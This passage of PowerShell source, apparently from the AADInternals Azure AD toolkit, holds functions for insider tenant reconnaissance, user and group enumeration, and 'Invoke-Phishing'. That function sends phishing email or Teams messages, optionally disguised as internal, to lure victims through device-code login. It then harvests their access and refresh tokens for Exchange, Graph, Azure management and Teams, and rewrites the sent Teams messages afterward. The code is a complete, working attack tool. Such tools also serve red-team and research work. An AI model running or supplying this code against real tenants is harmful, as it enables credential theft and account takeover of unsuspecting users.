|
Tenant id: 6e3846ee-e8ca-4609-a3ab-f405cfbd02cd
|
|
Tenant SKU: E3
|
|
Azure AD objects: 520/500000
|
|
Domains: 6 (4 verified)
|
|
Non-admin users restricted? True
|
|
Users can register apps? True
|
|
Directory access restricted? False
|
|
Directory sync enabled? true
|
|
Global admins: 3
|
|
CA policies: 8
|
|
MS Partner IDs:
|
|
MS Partner DAP enabled? False
|
|
MS Partner contracts: 0
|
|
MS Partners: 1
|
|
|
|
PS C:\>$results.roleInformation | Where-Object Members -ne $null | Select-Object Name,Members
|
|
|
|
Name Members
|
|
---- -------
|
|
Company Administrator {@{DisplayName=MOD Administrator; UserPrincipalName=admin@company.onmicrosoft.com}, @{D...
|
|
User Account Administrator @{DisplayName=User Admin; UserPrincipalName=useradmin@company.com}
|
|
Directory Readers {@{DisplayName=Microsoft.Azure.SyncFabric; UserPrincipalName=}, @{DisplayName=MicrosoftAzur...
|
|
Directory Synchronization Accounts {@{DisplayName=On-Premises Directory Synchronization Service Account; UserPrincipalName=Syn...
|
|
#>
|
|
[cmdletbinding()]
|
|
Param()
|
|
Begin
|
|
{
|
|
|
|
}
|
|
Process
|
|
{
|
|
# Get access token from cache
|
|
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -Resource "https://management.core.windows.net/" -ClientId "d3590ed6-52b3-4102-aeff-aad2292ab01c"
|
|
|
|
# Get the refreshtoken from the cache and create AAD token
|
|
$tenantId = (Read-Accesstoken $AccessToken).tid
|
|
$refresh_token = Get-RefreshTokenFromCache -AccessToken $AccessToken
|
|
|
|
$AAD_AccessToken = Get-AccessTokenWithRefreshToken -RefreshToken $refresh_token -Resource "https://graph.windows.net" -ClientId "d3590ed6-52b3-4102-aeff-aad2292ab01c" -TenantId $tenantId
|
|
$MSPartner_AccessToken = Get-AccessTokenWithRefreshToken -RefreshToken $refresh_token -Resource "fa3d9a0c-3fb0-42cc-9193-47c7ecd2edbd" -ClientId "d3590ed6-52b3-4102-aeff-aad2292ab01c" -TenantId $tenantId
|
|
$AdminAPI_AccessToken = Get-AccessTokenWithRefreshToken -RefreshToken $refresh_token -Resource "https://admin.microsoft.com" -ClientId "d3590ed6-52b3-4102-aeff-aad2292ab01c" -TenantId $tenantId
|
|
|
|
# Get the tenant information
|
|
Write-Verbose "Getting company information"
|
|
$companyInformation = Get-CompanyInformation -AccessToken $AAD_AccessToken
|
|
|
|
# Get the sharepoint information
|
|
Write-Verbose "Getting SharePoint Online information"
|
|
$sharePointInformation = Get-SPOServiceInformation -AccessToken $AAD_AccessToken
|
|
|
|
# Get the admins
|
|
Write-Verbose "Getting role information"
|
|
$roles = Get-Roles -AccessToken $AAD_AccessToken
|
|
$roleInformation=@()
|
|
$sortedRoles = $roles.Role | Sort-Object -Property Name
|
|
foreach($role in $roles.Role)
|
|
{
|
|
Write-Verbose "Getting members of role ""$($role.Name)"""
|
|
$attributes=[ordered]@{}
|
|
$attributes["Name"] = $role.Name
|
|
$attributes["IsEnabled"] = $role.IsEnabled
|
|
$attributes["IsSystem"] = $role.IsSystem
|
|
$attributes["ObjectId"] = $role.ObjectId
|
|
$members = Get-RoleMembers -AccessToken $AAD_AccessToken -RoleObjectId $role.ObjectId | Select-Object @{N='DisplayName'; E={$_.DisplayName}},@{N='UserPrincipalName'; E={$_.EmailAddress}}
|
|
|
|
$attributes["Members"] = $members
|
|
|
|
$roleInformation += New-Object psobject -Property $attributes
|
|
}
|
|
|
|
# Get the tenant information
|
|
Write-Verbose "Getting tenant information"
|
|
$tenantInformation = Get-AzureInformation -Tenant $tenantId
|
|
|
|
# Get basic partner information
|
|
Write-Verbose "Getting basic partner information"
|
|
$partnerInformation = Get-PartnerInformation -AccessToken $AAD_AccessToken
|
|
|
|
# Get partner organisation information
|
|
Write-Verbose "Getting partner organisation information"
|
|
$partnerOrganisations = @(Get-MSPartnerOrganizations -AccessToken $MSPartner_AccessToken)
|
|
|
|
# Get partner role information
|
|
Write-Verbose "Getting partner role information"
|
|
$partnerRoleInformation = @(Get-MSPartnerRoleMembers -AccessToken $MSPartner_AccessToken)
|
|
|
|
# Get partner contracts (customers)
|
|
Write-Verbose "Getting partner contracts (customers)"
|
|
try
|
|
{
|
|
$partnerContracts = @(Get-MSPartnerContracts -AccessToken $AAD_AccessToken)
|
|
}
|
|
catch
|
|
{
|
|
# Okay, not all are partner organisations :)
|
|
}
|
|
|
|
# Get partners
|
|
Write-Verbose "Getting partners"
|
|
try
|
|
{
|
|
$partners = @(Get-MSPartners -AccessToken $AdminAPI_AccessToken)
|
|
}
|
|
catch
|
|
{
|
|
# Okay
|
|
}
|
|
|
|
# AzureAD SKU
|
|
$tenantSku = @()
|
|
if($tenantInformation.skuInfo.aadPremiumBasic)
|
|
{
|
|
$tenantSku += "Premium Basic"
|
|
}
|
|
if($tenantInformation.skuInfo.aadPremium)
|
|
{
|
|
$tenantSku += "Premium P1"
|
|
}
|
|
if($tenantInformation.skuInfo.aadPremiumP2)
|
|
{
|
|
$tenantSku += "Premium P2"
|
|
}
|
|
if($tenantInformation.skuInfo.aadBasic)
|
|
{
|
|
$tenantSku += "Basic"
|
|
}
|
|
if($tenantInformation.skuInfo.aadBasicEdu)
|
|
{
|
|
$tenantSku += "Basic Edu"
|
|
}
|
|
if($tenantInformation.skuInfo.aadSmb)
|
|
{
|
|
$tenantSku += "SMB"
|
|
}
|
|
if($tenantInformation.skuInfo.enterprisePackE3)
|
|
{
|
|
$tenantSku += "E3"
|
|
}
|
|
if($tenantInformation.skuInfo.enterprisePremiumE5)
|
|
{
|
|
$tenantSku += "Premium E5"
|
|
}
|
|
|
|
|
|
# Set the extra tenant information
|
|
$tenantInformation |Add-Member -NotePropertyName "companyInformation" -NotePropertyValue $companyInformation
|
|
$tenantInformation |Add-Member -NotePropertyName "SPOInformation" -NotePropertyValue $sharePointInformation
|
|
$tenantInformation |Add-Member -NotePropertyName "roleInformation" -NotePropertyValue $roleInformation
|
|
$tenantInformation |Add-Member -NotePropertyName "partnerDAPEnabled" -NotePropertyValue ($partnerInformation.DapEnabled -eq "true")
|
|
$tenantInformation |Add-Member -NotePropertyName "partnerType" -NotePropertyValue $partnerInformation.CompanyType
|
|
$tenantInformation |Add-Member -NotePropertyName "partnerContracts" -NotePropertyValue $partnerContracts
|
|
$tenantInformation |Add-Member -NotePropertyName "partnerOrganisations" -NotePropertyValue $partnerOrganisations
|
|
$tenantInformation |Add-Member -NotePropertyName "partners" -NotePropertyValue $partners
|
|
$tenantInformation |Add-Member -NotePropertyName "partnerRoleInformation" -NotePropertyValue $partnerRoleInformation
|
|
|
|
# Print out some relevant information
|
|
Write-Host "Tenant brand: $($tenantInformation.displayName)"
|
|
Write-Host "Tenant name: $($tenantInformation.domains | Where-Object isInitial -eq "True" | Select-Object -ExpandProperty id)"
|
|
Write-Host "Tenant id: $tenantId"
|
|
Write-Host "Tenant SKU: $($tenantSku -join ", ")"
|
|
Write-Host "Azure AD objects: $($tenantInformation.directorySizeQuota.used)/$($tenantInformation.directorySizeQuota.total)"
|
|
Write-Host "Domains: $($tenantInformation.domains.Count) ($(($tenantInformation.domains | Where-Object isVerified -eq "True").Count) verified)"
|
|
Write-Host "Non-admin users restricted? $($tenantInformation.restrictNonAdminUsers)"
|
|
Write-Host "Users can register apps? $($tenantInformation.usersCanRegisterApps)"
|
|
Write-Host "Directory access restricted? $($tenantInformation.restrictDirectoryAccess)"
|
|
Write-Host "Directory sync enabled? $($tenantInformation.companyInformation.DirectorySynchronizationEnabled)"
|
|
Write-Host "Global admins: $(@($tenantInformation.roleInformation | Where-Object ObjectId -eq "62e90394-69f5-4237-9190-012177145e10" | Select-Object -ExpandProperty Members).Count)"
|
|
Write-Host "CA policies: $($tenantInformation.conditionalAccessPolicy.Count)"
|
|
Write-Host "MS Partner IDs: $(($tenantInformation.partnerOrganisations | Where-Object typeName -Like "Partner*" ).MPNID -join ",")"
|
|
Write-Host "MS Partner DAP enabled? $($tenantInformation.partnerDAPEnabled)"
|
|
Write-Host "MS Partner contracts: $($tenantInformation.partnerContracts.Count)"
|
|
Write-Host "MS Partners: $($tenantInformation.partners.Count)"
|
|
|
|
|
|
# Return
|
|
return $tenantInformation
|
|
|
|
}
|
|
}
|
|
|
|
# Starts crawling the organisation for user names and groups
|
|
# Jun 16th 2020
|
|
function Invoke-UserEnumerationAsInsider
|
|
{
|
|
<#
|
|
.SYNOPSIS
|
|
Dumps user names and groups of the tenant.
|
|
|
|
.DESCRIPTION
|
|
Dumps user names and groups of the tenant.
|
|
By default, the first 1000 users and groups are returned.
|
|
|
|
Groups: Include groups
|
|
GroupMembers: Include members of the groups (not recommended)
|
|
|
|
GroupId: Id of the group. If this is given, only one group and members are included.
|
|
|
|
.Example
|
|
C:\PS>$results = Invoke-AADIntUserEnumerationAsInsider
|
|
|
|
Users: 5542
|
|
Groups: 212
|
|
|
|
C:\PS>$results.Users[0]
|
|
|
|
id : 7ab0eb51-b7cb-4ff0-84ec-893a413d7b4a
|
|
displayName : User Demo
|
|
userPrincipalName : User@company.com
|
|
onPremisesImmutableId : UQ989+t6fEq9/0ogYtt1pA==
|
|
onPremisesLastSyncDateTime : 2020-07-14T08:18:47Z
|
|
onPremisesSamAccountName : UserD
|
|
onPremisesSecurityIdentifier : S-1-5-21-854168551-3279074086-2022502410-1104
|
|
refreshTokensValidFromDateTime : 2019-07-14T08:21:35Z
|
|
signInSessionsValidFromDateTime : 2019-07-14T08:21:35Z
|
|
proxyAddresses : {smtp:User@company.onmicrosoft.com, SMTP:User@company.com}
|
|
businessPhones : {+1234567890}
|
|
identities : {@{signInType=userPrincipalName; issuer=company.onmicrosoft.com; issuerAssignedId=User@company.com}}
|
|
|
|
|
|
|
|
#>
|
|
[cmdletbinding()]
|
|
Param(
|
|
[Parameter(Mandatory=$False)]
|
|
[int] $MaxResults=1000,
|
|
[switch] $Groups,
|
|
[switch] $GroupMembers,
|
|
[Parameter(Mandatory=$False)]
|
|
[String]$GroupId
|
|
)
|
|
Begin
|
|
{
|
|
}
|
|
Process
|
|
{
|
|
# Get access token from cache
|
|
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -Resource "https://management.core.windows.net/" -ClientId "d3590ed6-52b3-4102-aeff-aad2292ab01c"
|
|
|
|
# Create a new AccessToken for graph.microsoft.com
|
|
$refresh_token = Get-RefreshTokenFromCache -AccessToken $AccessToken
|
|
if([string]::IsNullOrEmpty($refresh_token))
|
|
{
|
|
throw "No refresh token found! Use Get-AADIntAccessTokenForAzureCoreManagement with -SaveToCache switch"
|
|
}
|
|
# MSGraph Access Token
|
|
$AccessToken = Get-AccessTokenWithRefreshToken -Resource "https://graph.microsoft.com" -ClientId "d3590ed6-52b3-4102-aeff-aad2292ab01c" -TenantId (Read-Accesstoken $AccessToken).tid -RefreshToken $refresh_token -SaveToCache $true
|
|
|
|
# Get the users and some relevant information
|
|
if([String]::IsNullOrEmpty($GroupId))
|
|
{
|
|
$users = Call-MSGraphAPI -MaxResults $MaxResults -AccessToken $AccessToken -API "users" -ApiVersion "v1.0" -QueryString "`$select=id,displayName,userPrincipalName,userType,onPremisesImmutableId,onPremisesLastSyncDateTime,onPremisesSamAccountName,onPremisesSecurityIdentifier,onPremisesDistinguishedName,refreshTokensValidFromDateTime,signInSessionsValidFromDateTime,proxyAddresses,businessPhones,identities"
|
|
}
|
|
|
|
# Get the groups
|
|
if($Groups -or $GroupMembers -or $GroupId)
|
|
{
|
|
$groupsAPI="groups"
|
|
$groupQS = ""
|
|
if($GroupMembers -or $GroupId)
|
|
{
|
|
$groupQS="`$expand=members"
|
|
}
|
|
if($GroupId)
|
|
{
|
|
$groupsAPI="groups/$GroupId/"
|
|
}
|
|
$groupResults = Call-MSGraphAPI -MaxResults $MaxResults -AccessToken $AccessToken -API $groupsAPI -ApiVersion "v1.0" -QueryString $groupQS
|
|
}
|
|
$attributes=@{
|
|
"Users" = $users
|
|
"Groups" = $groupResults
|
|
}
|
|
|
|
# Print out some relevant information
|
|
Write-Host "Users: $($Users.count)"
|
|
Write-Host "Groups: $(if($GroupId -and $groupResults -ne $null){1}else{$groupResults.count})"
|
|
|
|
# Return
|
|
New-Object psobject -Property $attributes
|
|
}
|
|
}
|
|
|
|
# Sends phishing email to given recipients
|
|
# Oct 13th 2020
|
|
function Invoke-Phishing
|
|
{
|
|
<#
|
|
.SYNOPSIS
|
|
Sends phishing mail to given recipients and receives user's access token
|
|
|
|
.DESCRIPTION
|
|
Sends phishing mail to given recipients and receives user's access token using device code authentication flow.
|
|
|
|
.Parameter Tenant
|
|
Tenant id of tenant used for authentication. Defaults to "Common"
|
|
|
|
.Parameter Tenant
|
|
Tenant id of tenant used for authentication. Defaults to "Common"
|
|
|
|
.Parameter Recipients
|
|
Comma separated list of recipient emails
|
|
|
|
.Parameter Subject
|
|
Subject of the email
|
|
|
|
.Parameter Sender
|
|
Sender of the email. Supports the plain email "user@example.com" and display name "Some User <user@example.com" formats
|
|
|
|
.Parameter SMTPServer
|
|
Ip address or FQDN of the SMTP server used to send the email
|
|
|
|
.Parameter SMTPCredentials
|
|
Credentials used to authenticate to SMTP server
|
|
|
|
.Parameter Message
|
|
An html message to be sent to recipients. Uses string formatting to insert url and user code.
|
|
{0} = user code
|
|
{1} = signing url
|
|
|
|
Default message:
|
|
'<div>Hi!<br/>This is a message sent to you by someone who is using <a href="https://o365blog.com/aadinternals">AADInternals</a> phishing function. <br/><br/>Here is a <a href="{1}">link</a> you <b>should not click</b>.<br/><br/>If you still decide to do so, provide the following code when requested: <b>{0}</b>.</div>'
|
|
|
|
.Parameter CleanMessage
|
|
An html message used to replace the original Teams message after the access token has been received.
|
|
|
|
Default message:
|
|
'<div>Hi!<br/>This is a message sent to you by someone who is using <a href="https://o365blog.com/aadinternals">AADInternals</a> phishing function. <br/>If you are seeing this, <b>someone has stolen your identity!</b>.</div>'
|
|
|
|
.Parameter Teams
|
|
Switch indicating that Teams is used for sending phishing messages.
|
|
|
|
.Example
|
|
$tokens = Invoke-AADIntPhishing -Recipients svictim@company.com -Subject "Johnny shared a document with you" -Sender "Johnny Carson <jc@somewhere.com>" -SMTPServer smtp.myserver.local
|
|
|
|
Code: CKDZ2BURF
|
|
Mail sent to: wvictim@company.com
|
|
...
|
|
Received access token for william.victim@company.com
|
|
|
|
.Example
|
|
$tokens = Invoke-AADIntPhishing -Recipients "wvictim@company.com","wvictim2@company.com" -Subject "Johnny shared a document with you" -Sender "Johnny Carson <jc@somewhere.com>" -SMTPServer smtp.myserver.local -SaveToCache
|
|
|
|
Code: CKDZ2BURF
|
|
Mail sent to: wvictim@company.com
|
|
Mail sent to: wvictim2@company.com
|
|
...
|
|
Received access token for william.victim@company.com
|
|
|
|
PS C:\>$results = Invoke-AADIntReconAsInsider
|
|
|
|
Tenant brand: company.com
|
|
Tenant name: company.onmicrosoft.com
|
|
Tenant id: d4e225d6-8877-4bc6-b68c-52c44011ba81
|
|
Azure AD objects: 147960/300000
|
|
Domains: 5 (5 verified)
|
|
Non-admin users restricted? True
|
|
Users can register apps? True
|
|
Directory access restricted? False
|
|
Directory sync enabled? true
|
|
Global admins 10
|
|
|
|
.Example
|
|
PS C:\>Get-AADIntAccessTokenForAzureCoreManagement -SaveToCache
|
|
|
|
PS C:\>$tokens = Invoke-AADPhishing -Recipients "wvictim@company.com" -Teams
|
|
|
|
```
|
|
Code: CKDZ2BURF
|
|
Teams message sent to: wvictim@company.com. Message id: 132473151989090816
|
|
...
|
|
Received access token for william.victim@company.com
|
|
|
|
#>
|
|
[cmdletbinding()]
|
|
Param(
|
|
[Parameter(Mandatory=$False)]
|
|
[String]$Tenant="Common",
|
|
[Parameter(Mandatory=$True)]
|
|
[String[]]$Recipients,
|
|
[Parameter(Mandatory=$False)]
|
|
[String]$Message='<div>Hi!<br/>This is a message sent to you by someone who is using <a href="https://o365blog.com/aadinternals">AADInternals</a> phishing function. <br/><br/>Here is a <a href="{1}">link</a> you <b>should not click</b>.<br/><br/>If you still decide to do so, provide the following code when requested: <b>{0}</b>.</div>',
|
|
|
|
[Parameter(ParameterSetName='Teams',Mandatory=$True)]
|
|
[Switch]$Teams,
|
|
[Parameter(ParameterSetName='Teams',Mandatory=$False)]
|
|
[String]$CleanMessage='<div>Hi!<br/>This is a message sent to you by someone who is using <a href="https://o365blog.com/aadinternals">AADInternals</a> phishing function. <br/>If you are seeing this, <b>someone has stolen your identity!</b>.</div>',
|
|
[Parameter(ParameterSetName='Teams')]
|
|
[switch]$External,
|
|
[Parameter(ParameterSetName='Teams')]
|
|
[switch]$FakeInternal,
|
|
|
|
[Parameter(ParameterSetName='Mail',Mandatory=$True)]
|
|
[String]$Subject,
|
|
[Parameter(ParameterSetName='Mail',Mandatory=$True)]
|
|
[String]$Sender,
|
|
[Parameter(ParameterSetName='Mail',Mandatory=$True)]
|
|
[String]$SMTPServer,
|
|
[Parameter(ParameterSetName='Mail',Mandatory=$False)]
|
|
[System.Management.Automation.PSCredential]$SMTPCredentials,
|
|
|
|
[Switch]$SaveToCache
|
|
|
|
)
|
|
Begin
|
|
{
|
|
# Choises
|
|
$choises="0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ!""#%&/()=?*+-_"
|
|
}
|
|
Process
|
|
{
|
|
if($Teams)
|
|
{
|
|
# Get access token from cache
|
|
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -Resource "https://management.core.windows.net/" -ClientId "d3590ed6-52b3-4102-aeff-aad2292ab01c"
|
|
|
|
# If external, use the target tenant id
|
|
if($External)
|
|
{
|
|
$Tenant = Get-AADIntTenantID -UserName $Recipients[0]
|
|
}
|
|
|
|
# Get the list of tenants the user has access to if not provided
|
|
if([string]::IsNullOrEmpty($Tenant))
|
|
{
|
|
$tenants = Get-AzureTenants -AccessToken $AccessToken
|
|
$tenantNames = $tenants | Select-Object -ExpandProperty Name
|
|
|
|
# Prompt for tenant choice if more than one
|
|
if($tenantNames.count -gt 1)
|
|
{
|
|
$options = [System.Management.Automation.Host.ChoiceDescription[]]@()
|
|
for($p=0; $p -lt $tenantNames.count; $p++)
|
|
{
|
|
$options += New-Object System.Management.Automation.Host.ChoiceDescription "&$($choises[$p % $choises.Length]) $($tenantNames[$p])"
|
|
}
|
|
$opt = $host.UI.PromptForChoice("Choose the tenant","Choose the tenant to sent messages to",$options,0)
|
|
}
|
|
else
|
|
{
|
|
$opt=0
|
|
}
|
|
$tenantInfo = $tenants[$opt]
|
|
$tenant = $tenantInfo.Id
|
|
}
|
|
|
|
# Create a new AccessToken for graph.microsoft.com
|
|
$refresh_token = Get-RefreshTokenFromCache -ClientID "d3590ed6-52b3-4102-aeff-aad2292ab01c" -Resource "https://management.core.windows.net"
|
|
if([string]::IsNullOrEmpty($refresh_token))
|
|
{
|
|
throw "No refresh token found! Use Get-AADIntAccessTokenForAzureCoreManagement with -SaveToCache switch"
|
|
}
|
|
$AccessToken = Get-AccessTokenWithRefreshToken -Resource "https://api.spaces.skype.com" -ClientId "1fec8e78-bce4-4aaf-ab1b-5451cc387264" -TenantId (Read-AccessToken -AccessToken $AccessToken).tid -RefreshToken $refresh_token -SaveToCache $true
|
|
}
|
|
|
|
# Create a body for the first request. We'll be using client id of "Microsoft Office"
|
|
$clientId = "d3590ed6-52b3-4102-aeff-aad2292ab01c"
|
|
$body=@{
|
|
"client_id" = $clientId
|
|
"resource" = "https://graph.windows.net"
|
|
}
|
|
|
|
# Invoke the request to get device and user codes
|
|
$authResponse = Invoke-RestMethod -UseBasicParsing -Method Post -Uri "https://login.microsoftonline.com/$tenant/oauth2/devicecode?api-version=1.0" -Body $body
|
|
|
|
Write-Host "Code: $($authResponse.user_code)"
|
|
|
|
# Format the message
|
|
$message=[string]::Format($message,$authResponse.user_code,$authResponse.verification_url)
|
|
|
|
# Send messages
|
|
$teamsMessages=@()
|
|
foreach($recipient in $Recipients)
|
|
{
|
|
if($Teams)
|
|
{
|
|
$msgDetails = Send-TeamsMessage -AccessToken $AccessToken -Recipients $recipient -Message $Message -Html -External $External -FakeInternal $FakeInternal
|
|
Write-Host "Teams message sent to: $Recipients. ClientMessageId: $($msgDetails.ClientMessageId)"
|
|
$msgDetails | Add-Member -NotePropertyName "Recipient" -NotePropertyValue $recipient
|
|
$teamsMessages += $msgDetails
|
|
}
|
|
else
|
|
{
|
|
Send-MailMessage -from $Sender -to $recipient -Subject $Subject -Body $message -SmtpServer $SMTPServer -BodyAsHtml -Encoding utf8
|
|
Write-Host "Mail sent to: $recipient"
|
|
}
|
|
}
|
|
|
|
|
|
$continue = $true
|
|
$interval = $authResponse.interval
|
|
$expires = $authResponse.expires_in
|
|
|
|
# Create body for authentication subsequent requests
|
|
$body=@{
|
|
"client_id" = $ClientId
|
|
"grant_type" = "urn:ietf:params:oauth:grant-type:device_code"
|
|
"code" = $authResponse.device_code
|
|
"resource" = $Resource
|
|
}
|
|
|
|
# Loop while authorisation pending or until timeout exceeded
|
|
while($continue)
|
|
{
|
|
Start-Sleep -Seconds $interval
|
|
$total += $interval
|
|
|
|
if($total -gt $expires)
|
|
{
|
|
Write-Error "Timeout occurred"
|
|
return
|
|
}
|
|
|
|
# Try to get the response. Will give 400 while pending so we need to try&catch
|
|
try
|
|
{
|
|
$response = Invoke-RestMethod -UseBasicParsing -Method Post -Uri "https://login.microsoftonline.com/$Tenant/oauth2/token?api-version=1.0 " -Body $body -ErrorAction SilentlyContinue
|
|
}
|
|
catch
|
|
{
|
|
# This normal flow, always returns 400 unless successful
|
|
$details=$_.ErrorDetails.Message | ConvertFrom-Json
|
|
$continue = $details.error -eq "authorization_pending"
|
|
Write-Verbose $details.error
|
|
Write-Host "." -NoNewline
|
|
|
|
if(!$continue)
|
|
{
|
|
# Not pending so this is a real error
|
|
Write-Error $details.error_description
|
|
return
|
|
}
|
|
}
|
|
|
|
# If we got response, all okay!
|
|
if($response)
|
|
{
|
|
Write-Host "" # new line
|
|
break # Exit the loop
|
|
}
|
|
}
|
|
|
|
# Dump the name
|
|
$user = (Read-Accesstoken -AccessToken $response.access_token).upn
|
|
if([String]::IsNullOrEmpty($user))
|
|
{
|
|
$user = (Read-Accesstoken -AccessToken $response.access_token).unique_name
|
|
}
|
|
Write-Host "Received access token for $user"
|
|
|
|
# Clear the teams messages
|
|
foreach($msg in $teamsMessages)
|
|
{
|
|
Send-TeamsMessage -AccessToken $AccessToken -ClientMessageId $msg.ClientMessageId -Message $CleanMessage -Html | Out-Null
|
|
}
|
|
|
|
# Save the tokens to cache
|
|
if($SaveToCache)
|
|
{
|
|
Write-Verbose "ACCESS TOKEN: SAVE TO CACHE"
|
|
Add-AccessTokenToCache -AccessToken $response.access_token -RefreshToken $response.refresh_token -ShowCache $false
|
|
}
|
|
|
|
# Create the return hashtable
|
|
$attributes = @{
|
|
"AADGraph" = $response.access_token
|
|
"refresh_token" = $response.refresh_token
|
|
"EXO" = Get-AccessTokenWithRefreshToken -Resource "https://outlook.office365.com" -ClientId $clientId -RefreshToken $response.refresh_token -TenantId $Tenant -SaveToCache $SaveToCache
|
|
"OWA" = Get-AccessTokenWithRefreshToken -Resource "https://outlook.office.com" -ClientId $clientId -RefreshToken $response.refresh_token -TenantId $Tenant -SaveToCache $SaveToCache
|
|
"Substrate" = Get-AccessTokenWithRefreshToken -Resource "https://substrate.office.com" -ClientId $clientId -RefreshToken $response.refresh_token -TenantId $Tenant -SaveToCache $SaveToCache
|
|
"MSGraph" = Get-AccessTokenWithRefreshToken -Resource "https://graph.microsoft.com" -ClientId $clientId -RefreshToken $response.refresh_token -TenantId $Tenant -SaveToCache $SaveToCache
|
|
"AZCoreManagement" = Get-AccessTokenWithRefreshToken -Resource "https://management.core.windows.net/" -ClientId $clientId -RefreshToken $response.refresh_token -TenantId $Tenant -SaveToCache $SaveToCache
|
|
"Teams" = Get-AccessTokenWithRefreshToken -Resource "https://api.spaces.skype.com" -ClientId "1fec8e78-bce4-4aaf-ab1b-5451cc387264" -RefreshToken $response.refresh_token -TenantId $Tenant -SaveToCache $SaveToCache
|
|
}
|
|
|
|
# Return
|
|
if(!$SaveToCache)
|
|
{
|
|
return New-Object psobject -Property $attributes
|
|
}
|
|
|
|
}
|
|
}
|